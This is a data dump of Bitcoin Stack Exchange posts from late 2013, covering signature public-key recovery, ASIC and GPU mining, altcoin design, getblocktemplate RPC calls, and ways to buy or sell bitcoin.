  <row Id="14263" PostTypeId="1" AcceptedAnswerId="14265" CreationDate="2013-11-02T17:44:01.190" Score="1" ViewCount="626" Body="&lt;p&gt;I understand that the public key (Q) can be extracted from a signature (r,s), but I'm having trouble understanding &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/key.cpp#L446&quot; rel=&quot;nofollow&quot;&gt;this line:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!key.Recover(hash, &amp;amp;vchSig[1], (vchSig[0] - 27) &amp;amp; ~4))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The third variable is called &quot;rec&quot; and must 0 through 3.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the purpose of this parameter (3rd one)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Why is the signature starting a byte&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/key.cpp#L446&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt; and not [0]?  Perhaps I'm not properly understanding &quot;where&quot; r and s is located in the Bitcoin signature.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By any chance is the signature format encapsulated in any standard? PKCS..? etc.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-11-02T20:04:21.293" Title="In the sourcecode, what does this line mean that recovers the key from the signature?" Tags="|development|encryption|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14264" PostTypeId="2" ParentId="1843" CreationDate="2013-11-02T18:48:56.493" Score="1" Body="&lt;p&gt;Today you would be using a mining application like &lt;em&gt;minerd&lt;/em&gt;:&#xA;&lt;a href=&quot;https://github.com/downloads/metonymous/cpuminer/minerd&quot; rel=&quot;nofollow&quot;&gt;https://github.com/downloads/metonymous/cpuminer/minerd&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7445" LastEditorUserId="5406" LastEditDate="2013-11-02T21:18:33.180" LastActivityDate="2013-11-02T21:18:33.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14265" PostTypeId="2" ParentId="14263" CreationDate="2013-11-02T18:49:24.667" Score="2" Body="&lt;p&gt;It's a custom format that encodes both a signature, and a parameter that allows the public key to be reconstructed from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given a signature (an (r,s) pair), and the message it signs, there can be up to 4 different public keys for which it is valid. To know which one, the number is encoded along the signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first byte is this recovery parameter plus 27. If the corresponding public key is to be a compressed one, 4 is added. The next 32 bytes encode r. The last 32 bytes encode s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this format is only used for message signatures. The scheme used for transaction signatures is older, doesn't support recovery, and uses DER encoding.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2013-11-02T20:04:21.293" LastActivityDate="2013-11-02T20:04:21.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14266" PostTypeId="2" ParentId="14234" CreationDate="2013-11-02T19:39:57.893" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.proxycoins.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.proxycoins.com/&lt;/a&gt; might be relevant, it's a market for having people buy on your behalf, where you pay them with Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-11-02T19:39:57.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14267" PostTypeId="2" ParentId="14187" CreationDate="2013-11-02T20:19:27.973" Score="9" Body="&lt;p&gt;You should study the current alt-coins world:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_alternative_cryptocurrencies&quot; rel=&quot;nofollow&quot;&gt;en.bitcoin.it: List of alternative cryptocurrencies&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=134179.0&quot; rel=&quot;nofollow&quot;&gt;bitcointalk.org: List of all cryptocoins&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The most interesting alt-coins today on my sight are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=260031.0&quot; rel=&quot;nofollow&quot;&gt;Quarkcoin (QRK)&lt;/a&gt; blake, bmw, groestl, jh, keccak, skein&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=245953.0&quot; rel=&quot;nofollow&quot;&gt;Primecoin (XPM)&lt;/a&gt; &lt;code&gt;First non-hashcash proof-of-work in cryptocurrency, pure prime number based proof-of-work&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://litecoin.org/&quot; rel=&quot;nofollow&quot;&gt;Litecoin (LTC)&lt;/a&gt; scrypt&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The fastest way to understand what &lt;strong&gt;must&lt;/strong&gt; be changed is take a source &lt;code&gt;bitcoin-0.6.3-linux.tar.gz&lt;/code&gt; and source of &lt;code&gt;litecoin 60300&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thereafter, extract both archives into two directories and simply &lt;code&gt;diff -rHvn bitcoin litecoin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the names of configuration files, number of ports, etc... And change the hash function, if you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You surely will meet two common troubles:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Kill network by difficulty.&lt;/strong&gt; Someone may come to your network with &gt;50% of power, increase the difficulty and then disappear. After that, your network participants would found next block with &lt;strong&gt;BIG delay&lt;/strong&gt;, which will break the stability of transactions, etc...  &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;ASIC miner.&lt;/strong&gt; Today, any gamer with a TOP video card can't mine, in the top pool, not even &lt;strong&gt;ONE Bitcoin&lt;/strong&gt; for &lt;strong&gt;years&lt;/strong&gt;, because of ASIC miners. What to say about a finding of block, solo-mining.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;First can be solved, I think, by reinventing dependence on the difficulty by adding a dependency on &lt;strong&gt;&lt;em&gt;Time&lt;/em&gt;&lt;/strong&gt;. For example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Next block must be with 10 zeroes in the start, but after one minute the&#xA;  number of zeroes would be decreased by one, at the second minute decrease&#xA;  this doorstep again, etc...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Second, the ASIC miner, may be conquered by the really hard hash algorithm. Look at the &lt;strong&gt;QRK&lt;/strong&gt;: probably nobody will draw such circuit while the game isn't worth the candles. But here you'll meet next attack: someone may analyze the cascade of hashes and find a much easiest way to getting blocks.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can observe the world of alt-coins and you will realize that nobody needs your &lt;strong&gt;new&lt;/strong&gt; coin. There are about 30 very active alt-coins and about 100 in incipience. I predict: &quot;In the next year this numbers would be multiplied by &lt;strong&gt;10&lt;/strong&gt;!&quot;: 300 active alt-coins with various difference from bitcoin and 1000 full clones, differing only by labels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could blow up the market with &lt;strong&gt;super innovation&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the most interesting and costly thing is traceability of money, on my sight. E.g. Look at &lt;a href=&quot;http://zerocoin.org/&quot; rel=&quot;nofollow&quot;&gt;zerocoin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second is a dying of mining. The market of bitcoin might plop in.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Also, there is &lt;a href=&quot;https://ripple.com/guide/&quot; rel=&quot;nofollow&quot;&gt;rippled/xrp&lt;/a&gt;, sometimes ago it has become opensource.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/ripple/rippled/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ripple/rippled/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ripple.com/wiki/Introduction_to_Ripple_for_Bitcoiners&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/wiki/Introduction_to_Ripple_for_Bitcoiners&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, look at granpa of ripple:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://classic.ripplepay.com/login/&quot; rel=&quot;nofollow&quot;&gt;https://classic.ripplepay.com/login/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One day, surely, there will appear a child of bitcoin and ripple. Kind of crypto-money-mutant.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;I leave here a little space for the future to add more interesting questions and answers.&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7317" LastEditorUserId="4748" LastEditDate="2014-02-09T15:08:13.447" LastActivityDate="2014-02-09T15:08:13.447" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14268" PostTypeId="2" ParentId="14256" CreationDate="2013-11-02T21:23:29.027" Score="6" Body="&lt;p&gt;Primecoin mining is doubly competitive (in the sense you described). In fact, the amount you will mine with given power is inversely proportional to the &lt;em&gt;cube&lt;/em&gt; of the total network compute power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As in Bitcoin, a difficulty parameter adjusts based on the mining rate to achieve a desired block frequency. Not only that, but the mint rate is inversely proportional to the (square of the) difficulty. Unlike Bitcoin which has a fixed schedule, which at worst can be slightly accelerated with increasing mining power, in Primecoin the total number of coins that will ever be generated will decrease with increasing competition.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2013-11-05T11:59:23.630" LastActivityDate="2013-11-05T11:59:23.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14269" PostTypeId="1" CreationDate="2013-11-02T22:43:25.107" Score="1" ViewCount="129" Body="&lt;p&gt;I am wondering as I'm (obviously) a newbie to Bitcoins.  I'm not necessarily looking to do so, simply wondering how transactions can be made/what options there are for exchanges&lt;/p&gt;&#xA;" OwnerUserId="7449" LastActivityDate="2013-11-16T03:22:04.513" Title="Can bitcoins be exchanged by mailed check?" Tags="|exchanges|cash|" AnswerCount="1" CommentCount="1" ClosedDate="2013-11-24T21:18:51.553" ContentLicense="CC BY-SA 3.0" />
  <row Id="14270" PostTypeId="2" ParentId="14215" CreationDate="2013-11-02T23:07:20.343" Score="2" Body="&lt;p&gt;Rather than polling for transactions, you can use &lt;code&gt;pynode&lt;/code&gt; or &lt;code&gt;bitcoin-sniffer&lt;/code&gt; to connect to the node directly and parse transactions as they happen. If the addresses are in your wallet, you can call bitcoind with the &lt;code&gt;walletnotify&lt;/code&gt; option set, which will execute your command with the details of the new transaction. &lt;/p&gt;&#xA;" OwnerUserId="7451" LastActivityDate="2013-11-02T23:07:20.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14271" PostTypeId="2" ParentId="14260" CreationDate="2013-11-02T23:45:43.220" Score="1" Body="&lt;p&gt;Read this issue: &#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/2079&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/issues/2079&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As  gavinandresen commented December 06, 2012&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Yes, that is a 'WONTFIX'.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A sendall account  command that took the account to exactly&#xA;  zero might be a good solution, although you can still run into edge&#xA;  cases like &quot;what if the account contains 0.000001 BTC&quot; (fee to sendall&#xA;  might be greater than that).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7317" LastActivityDate="2013-11-02T23:45:43.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14274" PostTypeId="1" CreationDate="2013-11-03T05:08:05.377" Score="2" ViewCount="198" Body="&lt;p&gt;I want to set up a bitcoind server with multiple diablo instances on systems i have access to. other people also have access to these machines, and my password for bitcoind will have to be input to the diablo instances. this means someone could have access to my bitcoind password and so also my bitcoins stored there. is there any way i can enable only the rpc commands in bitcoind to allow mining efforts? or to allow mining efforts without the password?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="7455" LastEditorUserId="5406" LastEditDate="2016-04-17T20:24:28.653" LastActivityDate="2016-04-17T20:24:28.653" Title="enabling rpc only with certain commands" Tags="|bitcoind|miner-configuration|diablominer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14277" PostTypeId="2" ParentId="14055" CreationDate="2013-11-03T07:44:40.640" Score="3" Body="&lt;p&gt;I would suggest using Python to accomplish this. &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow noreferrer&quot;&gt;pybitcointools&lt;/a&gt; have what you need to be able to &lt;strong&gt;deserialize&lt;/strong&gt; a hex transaction to JSON, and manipulate that and then &lt;strong&gt;serialize&lt;/strong&gt; again to be able to sign and broadcast via support for blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This example will rebuild the standard script from the ground up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; opdup = 0x76&#xA;&amp;gt;&amp;gt;&amp;gt; ophash160 = 0xA9&#xA;&amp;gt;&amp;gt;&amp;gt; push20 = 0x14&#xA;&amp;gt;&amp;gt;&amp;gt; opeqver = 0x88&#xA;&amp;gt;&amp;gt;&amp;gt; opchecksig = 0xAC&#xA;&amp;gt;&amp;gt;&amp;gt; pubkeyhash = 0x2dbde30815faee5bf221d6688ebad7e12f7b2b1a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We are going to &lt;a href=&quot;https://stackoverflow.com/questions/15629382/append-2-hex-values-in-python&quot;&gt;append hex values&lt;/a&gt; by moving them bitwise.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OP_DUP OP_HASH160 2dbde30815faee5bf221d6688ebad7e12f7b2b1a OP_EQUALVERIFY OP_CHECKSIG&lt;/li&gt;&#xA;&lt;li&gt;This is the &lt;a href=&quot;https://coinb.in/decode-raw-transaction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;hex&lt;/a&gt; we want &lt;strong&gt;76a9142dbde30815faee5bf221d6688ebad7e12f7b2b1a88ac&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is one way of doing it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; quickfix = 0xff&#xA;&amp;gt;&amp;gt;&amp;gt; asm = quickfix&#xA;&amp;gt;&amp;gt;&amp;gt; asm = asm &amp;lt;&amp;lt; 8 | opdup&#xA;&amp;gt;&amp;gt;&amp;gt; asm = asm &amp;lt;&amp;lt; 8 | ophash160&#xA;&amp;gt;&amp;gt;&amp;gt; asm = asm &amp;lt;&amp;lt; 8 | push20&#xA;&amp;gt;&amp;gt;&amp;gt; asm = asm &amp;lt;&amp;lt; 8*20 | pubkeyhash&#xA;&amp;gt;&amp;gt;&amp;gt; asm = asm &amp;lt;&amp;lt; 8 | opeqver&#xA;&amp;gt;&amp;gt;&amp;gt; asm = asm &amp;lt;&amp;lt; 8 | opchecksig&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ant then to check if its the same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; almost = hex(asm)&#xA;&amp;gt;&amp;gt;&amp;gt; ready = almost.partition(&quot;0xff&quot;)[2]&#xA;&amp;gt;&amp;gt;&amp;gt; print(ready)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this is what you are after :-)&lt;/p&gt;&#xA;" OwnerUserId="6756" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2013-11-03T17:45:32.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14278" PostTypeId="1" CreationDate="2013-11-03T08:40:45.963" Score="8" ViewCount="2784" Body="&lt;p&gt;Hashing algorithms have a long history of becoming widespread and then declared insecure - MD5 is a good example. As Bitcoin increases ever more in popularity, and cryptanalysis becomes ever more sophisticated, there's sure to be a lot of interest in finding holes in SHA256.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should this happen in, say, the next 10 years, will the network be ruined? Or is there a way that the network would be able to adjust, i.e. by slowly phasing in a new type of block and phasing out SHA256?&lt;/p&gt;&#xA;" OwnerUserId="6881" LastActivityDate="2013-11-07T16:56:22.067" Title="If SHA256 were compromised tomorrow, would Bitcoin collapse, or is there some contingency plan to move the network to a new hashing algorithm?" Tags="|blockchain|security|hash|sha256|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14279" PostTypeId="1" AcceptedAnswerId="14282" CreationDate="2013-11-03T09:55:56.883" Score="0" ViewCount="17049" Body="&lt;p&gt;Let's say I buy a USB block erupter, can I use the same to mine Litecoins? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it require special software and setup to mine Litecoins?&lt;/p&gt;&#xA;" OwnerUserId="7362" LastActivityDate="2013-11-03T12:57:21.040" Title="Can I use bitcoin USB block erupters to mine litecoin?" Tags="|litecoin|block|hash|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-03T17:25:28.130" ContentLicense="CC BY-SA 3.0" />
  <row Id="14282" PostTypeId="2" ParentId="14279" CreationDate="2013-11-03T12:57:21.040" Score="3" Body="&lt;p&gt;No, you can't. USB block erupters are ASIC miners. They cannot have their algorithm modified in any way because the algorithm is designed into the silicon. They can only mine coins that use the same mining algorithm as Bitcoin (SHA256d) such as Namecoin and Devcoin.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-11-03T12:57:21.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14286" PostTypeId="1" CreationDate="2013-11-03T15:34:28.833" Score="-4" ViewCount="18321" Body="&lt;p&gt;Can I exchange Bitcoins to get Dollars? If I get some Bitcoins, Is it possible to sell it and get Dollars?&lt;/p&gt;&#xA;" OwnerUserId="7465" LastActivityDate="2013-11-03T16:55:37.060" Title="Can I exchange Bitcoins to get Dollars?" Tags="|buy-bitcoins|sell-bitcoins|" AnswerCount="1" CommentCount="2" ClosedDate="2013-11-05T10:38:14.123" ContentLicense="CC BY-SA 3.0" />
  <row Id="14287" PostTypeId="2" ParentId="14286" CreationDate="2013-11-03T16:41:04.500" Score="2" Body="&lt;p&gt;Yes, Bitcoins are exchanged for a variety of different currencies and goods, definitely including US Dollar, Canadian Dollar, New Zealand Dollar, probably also Hong Kong Dollar, Namibian Dollar, Singaporean Dollar, Taiwanese Dollar, maybe even Brunei Dollar, Belize Dollar, and Namibia Dollar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general it is expected behavior for currencies to be exchanged for one-another. There exists at least one exchange course for each currency pair. Here is one example for Bitcoin and US Dollar: &lt;a href=&quot;http://coindesk.com/price&quot; rel=&quot;nofollow noreferrer&quot;&gt;CoinDesk Bitcoin Price Index&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to where and how you can exchange Bitcoin for Dollar and vice versa, you can find many questions here discussing that. See for example &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/91/how-do-you-obtain-bitcoins&quot;&gt;How do you obtain Bitcoin?&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12095/whats-the-best-place-to-sell-bitcoin-in-australia&quot;&gt;What's the best place to sell bitcoin in Australia?&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4180/what-are-the-options-available-to-convert-bitcoin-to-paypal-usd&quot;&gt;What are the options available to convert Bitcoin ot Paypal-USD?&lt;/a&gt;. You can find a better fit by using the search function with the appropriate input terms, e.g. &lt;code&gt;sell bitcoin usd&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-11-03T16:55:37.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14289" PostTypeId="1" CreationDate="2013-11-03T20:06:19.957" Score="3" ViewCount="744" Body="&lt;p&gt;I'd like to use US dollars to buy bitcoins in Zimbabwe. Does anyone know how I could do this or how to find bitcoin sellers in Zimbabwe? &lt;/p&gt;&#xA;" OwnerUserId="7472" LastActivityDate="2013-11-03T20:22:20.657" Title="Buying bitcoins in Zimbabwe" Tags="|buy-bitcoins|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-12T18:24:35.780" ContentLicense="CC BY-SA 3.0" />
  <row Id="14290" PostTypeId="2" ParentId="14289" CreationDate="2013-11-03T20:15:27.053" Score="1" Body="&lt;p&gt;You could use &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/&lt;/a&gt; it's a bitcoin escrow service, YMMV, read up up how it works &lt;a href=&quot;https://localbitcoins.com/guides/how-to-begin&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&#xA;They list Harare as a place where you can trade with locals.&#xA;May be good for small amounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That or if you can open an bank account in Europe, USA, Australia etc (You can often do that from a large bank in your home country), wire the money to that account, then use one of the larger exchanges; like most other people do. However, that could be rather expensive with international wire &amp;amp; exchange fees etc. Better for larger amounts.&lt;/p&gt;&#xA;" OwnerUserId="7052" LastEditorUserId="7052" LastEditDate="2013-11-03T20:22:20.657" LastActivityDate="2013-11-03T20:22:20.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14291" PostTypeId="2" ParentId="14278" CreationDate="2013-11-03T20:37:39.667" Score="0" Body="&lt;p&gt;The cryptanalysis research in the field of hash function is mainly focused into the collision search, i.e. finding two different plaintexts, such that their hashed images are the same. As far as I know this kind of weakness would not immediately impact bitcoin and its use.&lt;/p&gt;&#xA;" OwnerUserId="6226" LastEditorUserId="5292" LastEditDate="2013-11-04T08:59:50.653" LastActivityDate="2013-11-04T08:59:50.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14292" PostTypeId="2" ParentId="10472" CreationDate="2013-11-03T20:52:19.293" Score="-2" Body="&lt;p&gt;Consider also that BFL may be using the initial pre-order capital to invest in and use infrastructure prior to actually shipping.  Unless you are purchasing one of the really, really big rigs, by the time you get your ASIC miner, it will be relatively worthless.  Similar to what a cpumining is.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is really a type of ponzi scheme.   Before you get angry at me for saying it, really think about it... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Soon, bitcoin mining will only be really profitable for those who really have infrastructure... or for the mildly curious who don't care about making profit.&lt;/p&gt;&#xA;" OwnerUserId="7473" LastActivityDate="2013-11-03T20:52:19.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14295" PostTypeId="2" ParentId="14278" CreationDate="2013-11-03T23:45:32.343" Score="1" Body="&lt;p&gt;There are ways to migrate to new hash functions. However, there is no yet a widely-agreed contingency plan.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-11-03T23:45:32.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14296" PostTypeId="1" CreationDate="2013-10-24T22:01:31.663" Score="7" ViewCount="17328" Body="&lt;p&gt;So I am trying to install cgminer on my debian server. I've downloaded the latest nVidia drivers, tried many things but still can't get this work.&#xA;So this is the end of the log from autogen.sh:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;config.status: executing libtool commands&#xA;&#xA;&#xA;&#xA;------------------------------------------------------------------------&#xA;cgminer 3.6.4&#xA;------------------------------------------------------------------------&#xA;&#xA;&#xA;Configuration Options Summary:&#xA;&#xA;  libcurl(GBT+getwork).: Enabled: -lcurl&#xA;  curses.TUI...........: FOUND: -lncurses&#xA;  OpenCL...............: Detection overrided. GPU mining support DISABLED&#xA;configure: error: No mining configured in&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've already tried to download the latest CUDA toolkit, but it didn't work either. On google I just found solutions for ATI/AMD cards. (btw. I have GeForce GT-9600)&lt;/p&gt;&#xA;" OwnerDisplayName="user2917752" LastActivityDate="2021-02-07T05:09:52.797" Title="Cgminer opencl-detection overrided autogen error" Tags="|cgminer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14297" PostTypeId="2" ParentId="14296" CreationDate="2013-10-26T08:13:26.030" Score="14" Body="&lt;p&gt;use&#xA;./autogen.sh --enable-opencl&#xA;instead of&#xA;./autogen.sh&lt;/p&gt;&#xA;" OwnerDisplayName="user2922490" LastActivityDate="2013-10-26T08:13:26.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14301" PostTypeId="1" CreationDate="2013-11-04T01:59:34.313" Score="0" ViewCount="1661" Body="&lt;p&gt;Hi I'm looking into getting some bitcoins, and was wondering if buying locally from someone on localbitcoins.com would be safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had any experience with that?&lt;/p&gt;&#xA;" OwnerUserId="7481" LastActivityDate="2013-11-04T20:21:23.800" Title="Is buying BTC on localbitcoins.com safe?" Tags="|exchanges|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ClosedDate="2013-11-07T13:12:22.887" ContentLicense="CC BY-SA 3.0" />
  <row Id="14305" PostTypeId="2" ParentId="14301" CreationDate="2013-11-04T04:29:41.057" Score="1" Body="&lt;p&gt;It's a reputable website, but it's really up to the person you are buying from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do your research, choose a person with good reputation, make sure you understand how the escrow system works, and under no circumstances release escrow early. &lt;/p&gt;&#xA;" OwnerUserId="7451" LastActivityDate="2013-11-04T04:29:41.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14306" PostTypeId="1" CreationDate="2013-11-04T05:27:20.630" Score="2" ViewCount="702" Body="&lt;p&gt;Some background: I'm looking into making my own miner. Even though there's some documentation out there, I find it hard to do without looking into loads of existing code, and while I do that, I prefer to look into some actual reference to learn from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's my question: using the following JSON for GBT (the JSON copied from &lt;a href=&quot;https://en.bitcoin.it/wiki/Getblocktemplate&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;), I'm trying to send it to some P2Pool IP and port, using my wallet ID as a user and a random password, as instructed. Here's the curl I'm using:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;curl -u [ID:gibbrish] -d '{&quot;id&quot;: 0, &quot;method&quot;: &quot;getblocktemplate&quot;, &quot;params&quot;: [{&quot;capabilities&quot;: [&quot;coinbasetxn&quot;, &quot;workid&quot;, &quot;coinbase/append&quot;]}]}' http://[P2Pool Node IP:Port]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, that yields:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{&quot;error&quot;: {&quot;message&quot;: &quot;Parse error&quot;, &quot;code&quot;: -32700, &quot;data&quot;: null}, &quot;jsonrpc&quot;: &quot;2.0&quot;, &quot;id&quot;: null, &quot;result&quot;: null}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks ahead!&lt;/p&gt;&#xA;" OwnerUserId="287" LastEditorUserId="5406" LastEditDate="2016-04-17T20:39:01.693" LastActivityDate="2016-04-17T20:39:01.693" Title="How do I communicate with the BTC network?" Tags="|json-rpc|development|p2pool|mining-software|" AnswerCount="1" CommentCount="4" ClosedDate="2013-11-07T09:29:56.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="14310" PostTypeId="2" ParentId="9551" CreationDate="2013-11-04T09:16:36.100" Score="1" Body="&lt;p&gt;You can also trade bitcoin with a broker as a CFD service but you should consider your selection to a reliable broker because as mentioned above it could yield serious problems if you don't find a safe place to manage your funds.&lt;/p&gt;&#xA;" OwnerUserId="7468" LastActivityDate="2013-11-04T09:16:36.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
